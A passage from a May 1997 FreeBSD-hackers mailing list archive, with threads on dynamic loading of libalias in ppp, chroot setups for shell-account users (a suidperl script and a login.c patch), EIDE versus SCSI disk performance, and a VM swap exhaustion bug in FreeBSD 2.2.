/usr/libexec/ld.so is > present. A dynamic libc is important since if libalias makes any libc > calls (memcpy, strcmp, etc) then the symbols have to be dynamically > resolveable. For sysinstall on the boot floppy, this is probably a > showstopper. However, at runtime on an installed system, there's probably > not much stopping /usr/bin/ppp from doing this. Erm, I thought you actually had a clever way around the static dlopen() problem, Peter. :-) Jordan From owner-freebsd-hackers Sun May 25 22:53:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA00819 for hackers-outgoing; Sun, 25 May 1997 22:53:09 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id WAA00814 for ; Sun, 25 May 1997 22:53:06 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id HAA02410 for hackers@FreeBSD.ORG; Mon, 26 May 1997 07:53:04 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id HAA23983; Mon, 26 May 1997 07:50:44 +0200 (MET DST) Message-ID: <19970526075044.MU37557@uriah.heep.sax.de> Date: Mon, 26 May 1997 07:50:44 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: Correct way to chroot for shell account users? References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Jaye Mathisen on May 25, 1997 14:50:55 -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Jaye Mathisen wrote: > Anybody got any tips on how to write a secure shell to exec on login to > set a users environment to the "right thing". I once had a perl script that create the initial setup. I might still be able to find it, but it was something like a 10-liner. #!/usr/bin/suidperl $ENV{'PATH'} = "/bin:/usr/bin:/usr/local/bin"; ($name,$passwd,$uid,$gid,$quota,$comment,$gcos,$dir,$shell) = getpwuid($<); die "You're homeless!\n" unless ( -d $dir && chdir($dir) && chroot($dir) ); $) = $(; $> = $<; chdir("/home/guest"); $shell = "/bin/sh"; exec $shell "-sh"; print STDERR "couldn't exec shell\n"; exit 2; -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun May 25 22:56:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA00935 for hackers-outgoing; Sun, 25 May 1997 22:56:54 -0700 (PDT) Received: from pahtoh.cwu.edu (root@pahtoh.cwu.edu [198.104.65.27]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA00930 for ; Sun, 25 May 1997 22:56:51 -0700 (PDT) Received: from opus.cts.cwu.edu (skynyrd@opus.cts.cwu.edu [198.104.92.71]) by pahtoh.cwu.edu (8.8.5/8.8.5) with ESMTP id WAA02915 for ; Sun, 25 May 1997 22:56:50 -0700 (PDT) Received: from localhost (skynyrd@localhost) by opus.cts.cwu.edu (8.8.5/8.8.5) with SMTP id WAA21521 for ; Sun, 25 May 1997 22:56:50 -0700 (PDT) Date: Sun, 25 May 1997 22:56:49 -0700 (PDT) From: Chris Timmons To: freebsd-hackers@freebsd.org Subject: cvsup.freebsd.org down 26/May 1200-~2300 UTC Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk cvsup.freebsd.org will be down on May 26 from 1200-~2300 UTC due to a power outage affecting the Central Washington University computer center. (Hopefully the outage will be much shorter.) Sorry for the inconvenience! -Chris From owner-freebsd-hackers Mon May 26 00:47:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA04956 for hackers-outgoing; Mon, 26 May 1997 00:47:13 -0700 (PDT) Received: from nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA04943; Mon, 26 May 1997 00:47:02 -0700 (PDT) Received: from herring.nlsystems.com (herring.nlsystems.com [10.0.0.2]) by nlsystems.com (8.8.5/8.8.5) with SMTP id IAA04015; Mon, 26 May 1997 08:46:38 +0100 (BST) Date: Mon, 26 May 1997 08:46:38 +0100 (BST) From: Doug Rabson To: Peter Wemm cc: Eivind Eklund , "Jordan K. Hubbard" , jkh@freebsd.org, cvs-committers@freebsd.org, cvs-all@freebsd.org, cvs-release@freebsd.org, hackers@freebsd.org Subject: Re: cvs commit: src/release boot_crunch.conf In-Reply-To: <199705260329.LAA00670@spinner.dialix.com.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 26 May 1997, Peter Wemm wrote: > Eivind Eklund wrote: > > > > [please delete committers etc if you reply to this - this belong in hackers] > > > > > Well, I was mostly just trying to get the SNAPshot servers happy again... > > > > > > As to making it a compile-time option.. Hmmm. I like the idea of > > > saving space, but it would also complicate the build to have two > > > versions of ppp build at release time. What we really need is a > > > dynamically loadable alias module. :-) > > > > It shouldn't be too hard to use libalias through dlopen()/dlsym(), > > should it? I've never used these interfaces, but the aliasing > > routines need only about three calls to work. > > For dlopen/dlclose/etc to work, it requires that the calling executable is > dynamically linked, linked with libc.so.xx and that /usr/libexec/ld.so is > present. A dynamic libc is important since if libalias makes any libc > calls (memcpy, strcmp, etc) then the symbols have to be dynamically > resolveable. For sysinstall on the boot floppy, this is probably a > showstopper. However, at runtime on an installed system, there's probably > not much stopping /usr/bin/ppp from doing this. I recently changed ld so that you can link a dynamic executable even if it doesn't use any dynamic libs. This means that the symbol table is generated and the program can load new libraries but it is itself static. Use the -Bforcedynamic flag to ld instead of -Bdynamic. I must remember to document this stuff in the manpage :-( -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 951 1891 Fax: +44 181 381 1039 From owner-freebsd-hackers Mon May 26 00:51:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA05337 for hackers-outgoing; Mon, 26 May 1997 00:51:55 -0700 (PDT) Received: from spinner.dialix.com.au (spinner.dialix.com.au [192.203.228.67]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA05316; Mon, 26 May 1997 00:51:39 -0700 (PDT) Received: from spinner.dialix.com.au (localhost.dialix.com.au [127.0.0.1]) by spinner.dialix.com.au with ESMTP id PAA06710; Mon, 26 May 1997 15:49:32 +0800 (WST) Message-Id: <199705260749.PAA06710@spinner.dialix.com.au> X-Mailer: exmh version 2.0gamma 1/27/96 To: Doug Rabson cc: Eivind Eklund , "Jordan K. Hubbard" , jkh@freebsd.org, cvs-committers@freebsd.org, cvs-all@freebsd.org, cvs-release@freebsd.org, hackers@freebsd.org Subject: Re: cvs commit: src/release boot_crunch.conf In-reply-to: Your message of "Mon, 26 May 1997 08:46:38 +0100." Date: Mon, 26 May 1997 15:49:31 +0800 From: Peter Wemm Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Doug Rabson wrote: > On Mon, 26 May 1997, Peter Wemm wrote: > > > Eivind Eklund wrote: > > > > > > [please delete committers etc if you reply to this - this belong in hacke rs] > > > > > > > Well, I was mostly just trying to get the SNAPshot servers happy again. .. > > > > > > > > As to making it a compile-time option.. Hmmm. I like the idea of > > > > saving space, but it would also complicate the build to have two > > > > versions of ppp build at release time. What we really need is a > > > > dynamically loadable alias module. :-) > > > > > > It shouldn't be too hard to use libalias through dlopen()/dlsym(), > > > should it? I've never used these interfaces, but the aliasing > > > routines need only about three calls to work. > > > > For dlopen/dlclose/etc to work, it requires that the calling executable is > > dynamically linked, linked with libc.so.xx and that /usr/libexec/ld.so is > > present. A dynamic libc is important since if libalias makes any libc > > calls (memcpy, strcmp, etc) then the symbols have to be dynamically > > resolveable. For sysinstall on the boot floppy, this is probably a > > showstopper. However, at runtime on an installed system, there's probably > > not much stopping /usr/bin/ppp from doing this. > > I recently changed ld so that you can link a dynamic executable even if it > doesn't use any dynamic libs. This means that the symbol table is > generated and the program can load new libraries but it is itself static. > Use the -Bforcedynamic flag to ld instead of -Bdynamic. I suspect the catch would be that if the dynamic object wanted to use memmove() and the calling -Bforcedynamic program hadn't caused memmove to be linked in from libc.a, then it might fail. Anyway, it's something to watch out for.. > I must remember to document this stuff in the manpage :-( > > -- > Doug Rabson Mail: dfr@nlsystems.com > Nonlinear Systems Ltd. Phone: +44 181 951 1891 > Fax: +44 181 381 1039 Cheers, -Peter From owner-freebsd-hackers Mon May 26 01:04:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA05978 for hackers-outgoing; Mon, 26 May 1997 01:04:10 -0700 (PDT) Received: from nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA05973; Mon, 26 May 1997 01:04:04 -0700 (PDT) Received: from herring.nlsystems.com (herring.nlsystems.com [10.0.0.2]) by nlsystems.com (8.8.5/8.8.5) with SMTP id JAA04066; Mon, 26 May 1997 09:03:40 +0100 (BST) Date: Mon, 26 May 1997 09:03:40 +0100 (BST) From: Doug Rabson To: Peter Wemm cc: Eivind Eklund , "Jordan K. Hubbard" , jkh@freebsd.org, cvs-committers@freebsd.org, cvs-all@freebsd.org, cvs-release@freebsd.org, hackers@freebsd.org Subject: Re: cvs commit: src/release boot_crunch.conf In-Reply-To: <199705260749.PAA06710@spinner.dialix.com.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 26 May 1997, Peter Wemm wrote: > Doug Rabson wrote: > > > > I recently changed ld so that you can link a dynamic executable even if it > > doesn't use any dynamic libs. This means that the symbol table is > > generated and the program can load new libraries but it is itself static. > > Use the -Bforcedynamic flag to ld instead of -Bdynamic. > > I suspect the catch would be that if the dynamic object wanted to use > memmove() and the calling -Bforcedynamic program hadn't caused memmove to > be linked in from libc.a, then it might fail. Anyway, it's something to > watch out for.. The trick there would be to dlopen("libc.so.??.??") before loading anything you don't have symbols for. All the symbols in libc which you have pulled in statically should be redirected to the static versions by ld.so. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 951 1891 Fax: +44 181 381 1039 From owner-freebsd-hackers Mon May 26 01:46:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA07555 for hackers-outgoing; Mon, 26 May 1997 01:46:01 -0700 (PDT) Received: from agora.rdrop.com (root@agora.rdrop.com [199.2.210.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA07550 for ; Mon, 26 May 1997 01:45:58 -0700 (PDT) Received: from omnix-net.com (root@[195.114.69.82]) by agora.rdrop.com (8.8.5/8.8.5) with ESMTP id BAA02645 for ; Mon, 26 May 1997 01:45:20 -0700 (PDT) Received: from localhost (didier@localhost.omnix-net.com [127.0.0.1]) by omnix-net.com (8.8.5/8.8.5) with SMTP id IAA26411 for ; Mon, 26 May 1997 08:30:50 GMT Date: Mon, 26 May 1997 10:30:50 +0200 (MET DST) From: "didier@omnix.fr.org" To: hackers@freebsd.org Subject: small problems with 2.2.2-RELEASE Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, while installing FreeBSD 2.2.2-RELEASE, the boot process was ok until the kernel tried to change the root to /dev/fd0c. it ended with a double fault. I never had any problem with the boot floppy disk before. however, after having installed copied the new kernel on my hard disk, it worked fine. -- Didier Derny didier@omnix-net.com From owner-freebsd-hackers Mon May 26 02:30:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA08779 for hackers-outgoing; Mon, 26 May 1997 02:30:29 -0700 (PDT) Received: from four.wplus.net (four.wplus.net [194.8.160.90]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA08772 for ; Mon, 26 May 1997 02:30:24 -0700 (PDT) Received: from himera.wplus.net (himera [194.8.160.126]) by four.wplus.net (8.8.4/8.8.4) with ESMTP id NAA28613; Mon, 26 May 1997 13:25:34 +0400 (MSD) Received: (from ptitz@localhost) by himera.wplus.net (8.8.4/8.8.4) id NAA24621; Mon, 26 May 1997 13:26:18 +0400 (MSD) From: Dmitry Mishin Message-Id: <199705260926.NAA24621@himera.wplus.net> Subject: Re: Correct way to chroot for shell account users? To: mrcpu@cdsnet.net (Jaye Mathisen) Date: Mon, 26 May 1997 13:26:18 +0400 (MSD) Cc: hackers@FreeBSD.ORG In-Reply-To: from Jaye Mathisen at "May 25, 97 02:50:55 pm" X-NCC-RegID: ru.webplus Organization: WEBPlus Ltd. X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > Anybody got any tips on how to write a secure shell to exec on login to > set a users environment to the "right thing". > > (I don't mean a rsh type secure shell, but rather a good secure thing > to have in /etc/master.passwd that execs the real shell in a chroot'd > environment.). > > Any code appreciated as well. Thanks. > > > > All setup as in wu-ftpd + files in /chroot/./var/ Hope it can help you, -- D.Mishin *** /usr/src/usr.bin/login/login.c Mon Aug 28 15:15:54 1995 --- login.c Mon May 26 13:02:30 1997 *************** *** 130,135 **** --- 130,137 ---- #ifdef SKEY int permit_passwd = 0; #endif + char *pp; + int is_chrooted = 0; (void)signal(SIGALRM, timedout); (void)alarm(timeout); *************** *** 401,408 **** --- 403,457 ---- initgroups(username, pwd->pw_gid); + if (p = strstr(pwd->pw_dir, "/./")) + { + chmod(ttyn, 0622); + pp = strdup(pwd->pw_dir); + pp[p - pwd->pw_dir] = 0; + if (chroot(pp)) { + syslog(LOG_INFO, "CHROOT error %s: %m", pwd->pw_name); + exit(1); + } + is_chrooted = 1; + + if (!(pwd = getpwnam(username))) + { + syslog(LOG_INFO, "CHROOT user %s isn't defined", username); + exit(1); + } + + + /* Nothing else left to fail -- really log in. */ + memset((void *)&utmp, 0, sizeof(utmp)); + (void)time(&utmp.ut_time); + (void)strncpy(utmp.ut_name, username, sizeof(utmp.ut_name)); + if (hostname) + (void)strncpy(utmp.ut_host, hostname, sizeof(utmp.ut_host)); + (void)strncpy(utmp.ut_line, tty, sizeof(utmp.ut_line)); + login(&utmp); + + dolastlog(quietlog); + + /* + * Set device protections, depending on what terminal the + * user is logged in. This feature is used on Suns to give + * console users better privacy. + */ + login_fbtab(tty, pwd->pw_uid, pwd->pw_gid); + + (void)chown(ttyn, pwd->pw_uid, + (gr = getgrnam(TTYGRPNAME)) ? gr->gr_gid : pwd->pw_gid); + + + (void)setgid(pwd->pw_gid); + + initgroups(username, pwd->pw_gid); + + } + if (*pwd->pw_shell == '\0') pwd->pw_shell = _PATH_BSHELL; + /* Destroy environment unless user has requested its preservation. */ if (!pflag) From owner-freebsd-hackers Mon May 26 02:35:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA08921 for hackers-outgoing; Mon, 26 May 1997 02:35:37 -0700 (PDT) Received: from labs.usn.blaze.net.au (labs.usn.blaze.net.au [203.17.53.30]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA08916 for ; Mon, 26 May 1997 02:35:32 -0700 (PDT) Received: from labs.usn.blaze.net.au (local [127.0.0.1]) by labs.usn.blaze.net.au (8.8.5/8.8.5) with ESMTP id TAA00959; Mon, 26 May 1997 19:35:03 +1000 (EST) Message-Id: <199705260935.TAA00959@labs.usn.blaze.net.au> X-Mailer: exmh version 2.0gamma 1/27/96 To: Julian Elischer cc: Jaye Mathisen , hackers@FreeBSD.ORG Subject: Re: Correct way to chroot for shell account users? In-reply-to: Your message of "Sun, 25 May 1997 17:54:35 MST." X-Face: (W@z~5kg?"+5?!2kHP)+l369.~a@oTl^8l87|/s8"EH?Uk~P#N+Ec~Z&@;'LL!;3?y Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 26 May 1997 19:35:02 +1000 From: David Nugent Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > There are several people including myself who have hacked login to chroot > before running the shell > > I even had a version that re-red the passwd file in the new chroot > environ and re-read the parameters from there. It turns out to be a very > simple hack. FWIW, this is the sort of thing that login.conf's shell= variable was invented for. Regards, David David Nugent - Unique Computing Pty Ltd - Melbourne, Australia Voice +61-3-9791-9547 Data/BBS +61-3-9792-3507 3:632/348@fidonet davidn@freebsd.org davidn@blaze.net.au http://www.blaze.net.au/~davidn/ From owner-freebsd-hackers Mon May 26 04:53:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA13464 for hackers-outgoing; Mon, 26 May 1997 04:53:43 -0700 (PDT) Received: from Sisyphos.MI.Uni-Koeln.DE (Sisyphos.MI.Uni-Koeln.DE [134.95.212.10]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id EAA13459 for ; Mon, 26 May 1997 04:53:40 -0700 (PDT) Received: from x14.mi.uni-koeln.de (annexr3-16.slip.Uni-Koeln.DE) by Sisyphos.MI.Uni-Koeln.DE with SMTP id AA02622 (5.67b/IDA-1.5 for ); Mon, 26 May 1997 13:53:16 +0200 Received: (from se@localhost) by x14.mi.uni-koeln.de (8.8.5/8.6.9) id NAA14927; Mon, 26 May 1997 13:53:05 +0200 (CEST) X-Face: " Date: Mon, 26 May 1997 13:53:05 +0200 From: Stefan Esser To: Sxren Schmidt Cc: Bruce Evans , hackers@FreeBSD.ORG, j@uriah.heep.sax.de Subject: Re: Controler for SCSI References: <199705241036.UAA02991@godzilla.zeta.org.au> <199705241107.NAA00317@sos.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.73 In-Reply-To: <199705241107.NAA00317@sos.freebsd.dk>; from S\xren Schmidt on Sat, May 24, 1997 at 01:07:23PM +0200 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On May 24, "S\xren Schmidt" wrote: > In reply to Bruce Evans who wrote: > While we are on the subject: I just bought two Maxtor 84000 (4gig) drives > and I plan to play a little with DMA for those (they only do 16.6MB/sec) > They are pretty fast btw, faster than my Empire and SureStore SCSI2 > disks, I'm surprised they even use less CPU than my SCSI setup (above > drives and NCR ctrl), not bad at all and CHEAP!!. While these drives are cheap, no doubt, I'd really see Bonnie numbers, not just sequential throughput. (And BTW: Neither the Empire nor SureStore drives are fast by todays standards, it is not hard to beat them. Compare to my two year old Quantum Atlas, for a fairer test. Those have been sold quite cheap for about one year, and the 1GB version appears to be on sale for some US$210 (+VAT) in Germany, which makes them very attractive for fast CCD arrays :) And another BTW: Since the data transfer for the EIDE drive is mostly done in the interrupt handler, your process just does not get the cycles accounted. Please repeat the tests and monitor total system time and interrupt time ... But I'd also like to have decent bus-master DMA drivers at least for the Triton and Triton II EIDE controllers. I'm thinking about buying one, to be able to test changes to the NCR driver, which I have been holding back for far to long out of fear, my system might become inoperational, and I rely on it for my daily work ... Regards, STefan From owner-freebsd-hackers Mon May 26 05:31:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA14974 for hackers-outgoing; Mon, 26 May 1997 05:31:34 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA14965; Mon, 26 May 1997 05:31:27 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id WAA22121; Mon, 26 May 1997 22:01:19 +0930 (CST) From: Michael Smith Message-Id: <199705261231.WAA22121@genesis.atrad.adelaide.edu.au> Subject: Re: Controler for SCSI In-Reply-To: <19970526135305.44861@x14.mi.uni-koeln.de> from Stefan Esser at "May 26, 97 01:53:05 pm" To: se@FreeBSD.ORG (Stefan Esser) Date: Mon, 26 May 1997 22:01:18 +0930 (CST) Cc: sos@sos.freebsd.dk, bde@zeta.org.au, hackers@FreeBSD.ORG, j@uriah.heep.sax.de X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Stefan Esser stands accused of saying: > On May 24, "S\xren Schmidt" wrote: > > In reply to Bruce Evans who wrote: > > While we are on the subject: I just bought two Maxtor 84000 (4gig) drives > > and I plan to play a little with DMA for those (they only do 16.6MB/sec) > > While these drives are cheap, no doubt, I'd really see Bonnie > numbers, not just sequential throughput. (And BTW: Neither the Please see my earlier postings wrt. the Maxtor 85000 disk units for Bonnie numbers. Note that the 85000's are a faster drive (5400rpm vs. 4500rpm for the 84000) > Regards, STefan -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Mon May 26 06:04:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA16366 for hackers-outgoing; Mon, 26 May 1997 06:04:56 -0700 (PDT) Received: from unix.stylo.it (unix.stylo.it [193.76.98.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA16358 for ; Mon, 26 May 1997 06:04:52 -0700 (PDT) Received: from styloserver.stylo.it (mail.stylo.it [193.76.98.13]) by unix.stylo.it (8.7.5/8.6.9) with ESMTP id PAA09850 for ; Mon, 26 May 1997 15:04:00 +0200 (MET DST) Received: by STYLOSERVER with Internet Mail Service (5.0.1457.3) id ; Mon, 26 May 1997 15:03:21 +0200 Message-ID: <31EBCC36B676D01197E400801E032495021F49@STYLOSERVER> From: Angelo Turetta To: "'freebsd-hackers'" Subject: Re: NEW SCREENSAVER: "the daemon is jumpin' around" Date: Mon, 26 May 1997 15:03:14 +0200 X-Priority: 3 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1457.3) Content-Type: text/plain Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk ftp://ftp.freebsd.org/pub/FreeBSD/incoming/daemon_saver.tar.gz Before unzipping the file, cd /usr/src/lkm/syscons. I've merged all the diffs posted on this list, and I've put some conditionals to accomodate different versions of lkm.h (it has changed quite a lot in the past 18 months). Now it compiles and runs without changes on: 2.1-RELEASE 2.2-960501-SNAP 2.2.2-RELEASE I've added a small feature: instead of a fixed message (was: "FreeBSD 3.0 CURRENT") the screen saver now prints the actual version of the kernel, plus the hostname of the machine it's running on. For those, like me, having more than one server connected to a single monitor/keyboard via a console switch, this is quite useful. I have diffs to do the same with the classic snake screen saver. I'd really like to see this screen saver commited to the source tree. Sandro, thanks for sharing it with us. Angelo Turetta From owner-freebsd-hackers Mon May 26 06:10:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA16629 for hackers-outgoing; Mon, 26 May 1997 06:10:07 -0700 (PDT) Received: from sos.freebsd.dk (sos.freebsd.dk [195.8.129.33]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA16600; Mon, 26 May 1997 06:09:55 -0700 (PDT) Received: (from sos@localhost) by sos.freebsd.dk (8.8.5/8.7.3) id PAA01952; Mon, 26 May 1997 15:10:11 +0200 (MEST) From: Søren Schmidt Message-Id: <199705261310.PAA01952@sos.freebsd.dk> Subject: Re: Controler for SCSI In-Reply-To: <199705261231.WAA22121@genesis.atrad.adelaide.edu.au> from Michael Smith at "May 26, 97 10:01:18 pm" To: msmith@atrad.adelaide.edu.au (Michael Smith) Date: Mon, 26 May 1997 15:10:11 +0200 (MEST) Cc: se@FreeBSD.ORG, bde@zeta.org.au, hackers@FreeBSD.ORG, j@uriah.heep.sax.de X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In reply to Michael Smith who wrote: > Stefan Esser stands accused of saying: > > On May 24, "S\xren Schmidt" wrote: > > > In reply to Bruce Evans who wrote: > > > While we are on the subject: I just bought two Maxtor 84000 (4gig) drives > > > and I plan to play a little with DMA for those (they only do 16.6MB/sec) > > > > While these drives are cheap, no doubt, I'd really see Bonnie > > numbers, not just sequential throughput. (And BTW: Neither the > > Please see my earlier postings wrt. the Maxtor 85000 disk units for > Bonnie numbers. Note that the 85000's are a faster drive (5400rpm > vs. 4500rpm for the 84000) Wrongo!! the 84000 is just a 4Gig version of the 85100, no difference except the size!! (according to Maxtor and visual inspection :) ) They are 5400rpm/256K cache drives endeed. I based mesurements on Bonnie & wall clock time, so come again.... I for one have always been an advocate for SCSI subsystems (And still have one :) ), but the EIDE stuff has shaped up somewhat lately, and if/when I get DMA going (on my P6 natoma that is), I'll bet (naw maybe not) that they will be serius contenders for workstation usage. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team Even more code to hack -- will it ever end .. From owner-freebsd-hackers Mon May 26 06:32:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA17375 for hackers-outgoing; Mon, 26 May 1997 06:32:59 -0700 (PDT) Received: from david.siemens.de (david.siemens.de [139.23.36.11]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA17354 for ; Mon, 26 May 1997 06:32:55 -0700 (PDT) Received: from salomon.mchp.siemens.de (salomon.siemens.de [139.23.33.13]) by david.siemens.de (8.8.5/8.8.5) with ESMTP id PAA08610 for ; Mon, 26 May 1997 15:27:52 +0200 (MDT) Received: from curry.mchp.siemens.de (1@curry.mchp.siemens.de [146.180.31.23]) by salomon.mchp.siemens.de (8.8.5/8.8.5) with ESMTP id PAA14174 for ; Mon, 26 May 1997 15:32:51 +0200 (MDT) Received: (from daemon@localhost) by curry.mchp.siemens.de (8.8.5/8.8.5) id PAA23671 for ; Mon, 26 May 1997 15:32:50 +0200 (MET DST) From: Andre Albsmeier Message-Id: <199705261332.PAA00837@curry.mchp.siemens.de> Subject: vm problems on 2.2, 2.1.7 works To: hackers@freebsd.org Date: Mon, 26 May 1997 15:32:38 +0200 (CEST) X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, I am running FreeBSD 2.2-STABLE on a 32MB system. When using procmail to deliver large mails, procmail dies with a "out of memory" message. After that, the system is either in an undefined state (producing messages as "junk pointer, too low to make sense.") or freezes completely. When running a high priority "top" in another window, I see the swap being used growing constantly until all of it is used. This is reproducable on different HW. However, on 2.1.7 systems everything works great. Here are some results from my tests: System Version RAM SWAP Mail Size Status ============================================================== 486-66 2.1.7 12M 20M 8M/12M/16M OK 486-120 2.1.7 20M 72M 8M/12M/16M OK PPro-200 2.1.7 64M 300M 8M/12M/16M OK PPro-200 2.2 64M 300M 8M/12M OK PPro-200 2.2 64M 300M 16M FAIL P5-166 2.2 32M 150M 8M/12M/16M FAIL P5-166 2.2 64M 150M 8M/12M OK P5-166 2.2 64M 150M 16M FAIL I suspect a problem in the vm system in 2.2 but have no idea how to fix it. However, I (and others, who confirmed it via email) can reproduce it... So if I should try something, tell me. Thanks for any hints -Andre From owner-freebsd-hackers Mon May 26 07:22:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA20750 for hackers-outgoing; Mon, 26 May 1997 07:22:50 -0700 (PDT) Received: from zibbi.mikom.csir.co.za (zibbi.mikom.csir.co.za [146.64.24.58]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA20738 for ; Mon, 26 May 1997 07:22:19 -0700 (PDT) Received: (from jhay@localhost) by zibbi.mikom.csir.co.za (8.8.5/8.8.5) id QAA07764; Mon, 26 May 1997 16:12:48 +0200 (SAT) From: John Hay Message-Id: <199705261412.QAA07764@zibbi.mikom.csir.co.za> Subject: Re: vm problems on 2.2, 2.1.7 works In-Reply-To: <199705261332.PAA00837@curry.mchp.siemens.de> from Andre Albsmeier at "May 26, 97 03:32:38 pm" To: Andre.Albsmeier@mchp.siemens.de (Andre Albsmeier) Date: Mon, 26 May 1997 16:12:48 +0200 (SAT) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hmmm. This looks a lot like the problem I have on my news server. It will run ok for a while and then suddenly start to use up all of the swap. According to top and ps no process is using that memory, but if I kill innd quick enough all will be ok. So now I have a script that runs every minute and kill and restart innd as soon as the swap usage go over some value. Not nice, but it works until someone find this thingy. John -- John Hay -- John.Hay@mikom.csir.co.za > Hi, > > I am running FreeBSD 